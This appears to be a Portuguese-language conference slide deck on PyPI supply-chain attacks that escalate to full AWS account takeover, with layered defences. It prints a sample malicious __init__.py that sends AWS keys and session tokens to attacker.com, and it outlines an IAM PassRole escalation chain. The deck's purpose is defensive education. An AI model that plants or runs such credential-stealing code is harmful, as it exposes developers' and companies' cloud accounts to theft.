Café com Cloud
AWS Community Day Brasil 2026 — Centro-Oeste
De pip install a Root:
Como Ataques de Supply Chain Escalam para Comprometimento Total de Contas AWS
Leonardo Ciccone — Sr. Specialist Solutions Architect, AWS
Junho 2026
+75%
crescimento ano a ano em ataques de supply chain (2025→2026)

LiteLLM — Março 2026

Pacote comprometido no PyPI por 5 horas. Credential stealer coletou chaves AWS, SSH, tokens OIDC. Cascata: Trivy → Checkmarx → LiteLLM → Telnyx.

O Impacto

Qualquer pip install litellm sem version pin durante a janela = comprometido. Credenciais exfiltradas em menos de 3 segundos após o import.

Pergunta: quantos pip install vocês rodaram hoje sem verificar os hashes?

3 Vetores de Entrada

Typosquatting

Nomes parecidos com pacotes populares.

pip install reqeusts
pip install djanga

Centenas de pacotes maliciosos por mês no PyPI.

Dependency Confusion

Pacote público com mesmo nome do privado, versão mais alta.

pip install internal-auth
# PyPI tem v9.0 (malicioso)
# Registry interno tem v1.2
# pip resolve a mais alta → PyPI

Comprometeu Apple, Microsoft, Tesla.

Slopsquatting

~20% do código de AI referencia pacotes inexistentes.

# LLM sugere:
pip install flask-oauth-toolkit
# Atacante registra o nome.

Novo vetor 2025-2026.

Por que seu Pipeline CI/CD é o Alvo

  • O pacote instala normalmente — nenhum erro, nenhum alerta
  • O código malicioso está no __init__.py — executa no primeiro import, não na instalação
  • O runner de CI importa o pacote ao executar sua aplicação ou testes
  • Nesse momento, as variáveis de ambiente (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY) já estão disponíveis
  • Exfiltração silenciosa em uma thread daemon — a aplicação continua funcionando normalmente

__init__.py malicioso (real)

# __init__.py — executa no primeiro import
import socket, os, json, threading

def _exfil():
    creds = {
      "key": os.environ.get("AWS_ACCESS_KEY_ID"),
      "secret": os.environ.get("AWS_SECRET_ACCESS_KEY"),
      "token": os.environ.get("AWS_SESSION_TOKEN"),
    }
    s = socket.socket()
    s.connect(("attacker.com", 4444))
    s.send(json.dumps(creds).encode())
    s.close()

# Thread daemon: invisível, não bloqueia
threading.Thread(target=_exfil, daemon=True).start()

O install passa limpo. O scanner de pacotes não detecta. As credenciais vazam somente quando seu código roda — exatamente onde as creds AWS existem.

O que o Atacante Ganha

Não é "só" a máquina do dev. É acesso à conta AWS de produção.

Credenciais

  • AWS Access Keys
  • Session Tokens
  • Tokens OIDC do CI
  • SSH keys
  • Secrets Manager refs

Acesso Imediato

  • IAM Enumeration
  • S3 Buckets
  • DynamoDB Tables
  • RDS / DocumentDB
  • Secrets Manager

Escalação

  • iam:PassRole → Lambda
  • iam:CreatePolicyVersion
  • iam:AttachUserPolicy
  • sts:AssumeRole cross-account
  • → Administrator

A escalada é inevitável se as credenciais têm mais poder do que o mínimo necessário.

Kill Chain Completa: pip install → Root

pip install
pacote malicioso
import
app usa o pacote
__init__.py
thread daemon exfiltra
Creds exfiltradas
socket → attacker
IAM Enum
list-roles, get-policy
PassRole
→ Lambda com role admin
Invoke
código do atacante roda como admin
DATA EXFIL
DynamoDB scan → PII

Tempo total

< 5 minutos

Do pip install ao dump de dados de clientes.

Por que funciona

  • CI/CD tem PassRole + Lambda (normal para deploy)
  • Uma role com AdminAccess confia em Lambda (legado)
  • Ninguém monitora CreateFunction em tempo real
▶ DEMOVamos ver isso ao vivo

pip install → credential theft → privilege escalation → data exfiltration

Camada 1

Defesa: Supply Chain

Reduz a superfície de ataque, mas nenhuma é absoluta sozinha.

Cooldowns

Recuse pacotes publicados há menos de 3 dias.

# pip.conf
[global]
exclude-newer = 3d

10/10 ataques analisados tinham < 72h de idade.

Bypass: account takeover de pacote existente (LiteLLM tinha anos).

Hash Pinning

Verificação criptográfica de cada artefato.

pip install \
  --require-hashes \
  -r requirements.txt

Se o hash não bate, install falha.

Bypass: se você pinou o hash de um pacote já comprometido, o lock protege o malware.

Binary-Only

Impede execução de setup.py no install.

pip install \
  --only-binary :all: \
  -r requirements.txt

Sem source dist = sem execução no install.

Bypass: código no __init__.py dentro do .whl ainda executa no import.

As três combinadas reduzem ~90% dos vetores conhecidos. Para o restante, precisamos das camadas 2 e 3.

Camada 2

Defesa: AWS IAM

Se as credenciais forem roubadas, limitar o que o atacante pode fazer.

Escopo no PassRole

A correção mais efetiva: uma linha.

// ANTES (vulnerável):
"Action": "iam:PassRole",
"Resource": "*"

// DEPOIS (seguro):
"Action": "iam:PassRole",
"Resource": "arn:...role/my-safe-role"

Remover UpdateAssumeRolePolicy

CI/CD nunca precisa modificar trust policies. Remova essa permissão.

// Sem isso, atacante não
// persiste via backdoor
// na trust policy da role

Persistência bloqueada: creds expiram e o atacante perde acesso.

Credenciais Curtas

OIDC no CI/CD — sem access keys permanentes.

  • GitHub Actions → OIDC → STS
  • Duração: 15 min (não 12h)
  • Sem secret key em env vars
  • Atacante rouba token expirado
Camada 3

Defesa: Detecção

Se as camadas 1 e 2 falharem, detectar em minutos ou horas, não em dias.

IAM Access Analyzer

  • External Access: detecta Principal: AWS * e cross-account não autorizado
  • Unused Access: roles admin que ninguém invoca há > 90 dias
  • Custom Policy Checks: bloqueia políticas perigosas no CI/CD (pré-deploy)
  • Free, on-by-default em toda conta AWS

CloudTrail — Padrões de Ataque

  • GetCallerIdentity de IP novo → enum começou
  • ListRoles + GetPolicyVersion em sequência → mapeando permissões
  • CreateFunction + PassRole no mesmo minuto → escalação
  • UpdateAssumeRolePolicy em role admin → persistência

Resposta Automática

  • EventBridge Rule: alerta quando CreateFunction usa role com Admin*
  • GuardDuty: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration
  • Tempo máximo aceitável de detecção: < 5 minutos
  • Revogação automática via Lambda + Step Functions

3 Ações para Fazer Amanhã

1

Pin Hashes + Binary-Only

pip install \
  --require-hashes \
  --only-binary :all: \
  -r requirements.txt

Custo: 30 minutos. Bloqueia 90% dos ataques de supply chain.

2

Escopo no PassRole em CI/CD

Toda policy de CI/CD que tem iam:PassRole deve apontar para roles específicas, nunca Resource: *.

Custo: 1 hora. Impede escalação mesmo com creds roubadas.

3

Alerta CloudTrail

EventBridge Rule: CreateFunction + PassRole para role com Admin* no mesmo minuto → SNS → PagerDuty.

Custo: 1 hora. Detecta escalação em menos de 1 minuto.

Custo total: menos de 3 horas. Proteção: 90%+ dos ataques bloqueados.

Obrigado!

Conecte-se comigo:

leonardo-ciccone

@CafeComCloud

Hanganalyze

@cafecomcloud

Slides + demo disponíveis: blog.cafecomcloud.com.br